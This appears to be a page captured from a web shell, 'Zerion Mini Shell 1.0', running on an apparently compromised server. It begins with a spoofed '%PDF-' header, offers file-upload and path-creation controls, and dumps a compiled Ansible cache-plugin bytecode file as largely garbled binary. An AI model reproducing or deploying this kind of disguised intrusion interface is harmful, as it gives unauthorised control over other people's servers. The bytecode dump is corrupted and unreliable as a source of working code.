%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/plugins/cache/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/plugins/cache/__pycache__/jsonfile.cpython-39.opt-1.pyc

a

�)g��@s\ddlmZmZmZeZdZddlZddlZddl	m
Z
mZddlm
Z
Gdd�de
�ZdS)�)�absolute_import�division�print_functiona	
    name: jsonfile
    short_description: JSON formatted files.
    description:
        - This cache uses JSON formatted, per host, files saved to the filesystem.
    version_added: "1.9"
    author: Ansible Core (@ansible-core)
    options:
      _uri:
        required: True
        description:
          - Path in which the cache plugin will save the JSON files
        env:
          - name: ANSIBLE_CACHE_PLUGIN_CONNECTION
        ini:
          - key: fact_caching_connection
            section: defaults
        type: path
      _prefix:
        description: User defined prefix to use when creating the JSON files
        env:
          - name: ANSIBLE_CACHE_PLUGIN_PREFIX
        ini:
          - key: fact_caching_prefix
            section: defaults
      _timeout:
        default: 86400
        description: Expiration timeout for the cache plugin data
        env:
          - name: ANSIBLE_CACHE_PLUGIN_TIMEOUT
        ini:
          - key: fact_caching_timeout
            section: defaults
        type: integer
N)�AnsibleJSONEncoder�AnsibleJSONDecoder)�BaseFileCacheModulec@s eZdZdZdd�Zdd�ZdS)�CacheModulez0
    A caching module backed by json files.
    cCsBtj|ddd��}tj|td�Wd�S1s40YdS)N�r�utf-8��encoding)�cls)�codecs�open�json�loadr)�self�filepath�f�r�B/usr/lib/python3.9/site-packages/ansible/plugins/cache/jsonfile.py�_load9szCacheModule._loadc	CsLtj|ddd��(}|�tj|tddd��Wd�n1s>0YdS)N�wr
rT�)r
Z	sort_keys�indent)rr�writer�dumpsr)r�valuerrrrr�_dump>szCacheModule._dumpN)�__name__�
__module__�__qualname__�__doc__rrrrrrr4sr)Z
__future__rrr�typeZ
__metaclass__Z
DOCUMENTATIONrrZansible.parsing.ajsonrrZansible.plugins.cacherrrrrr�<module>s$

Zerion Mini Shell 1.0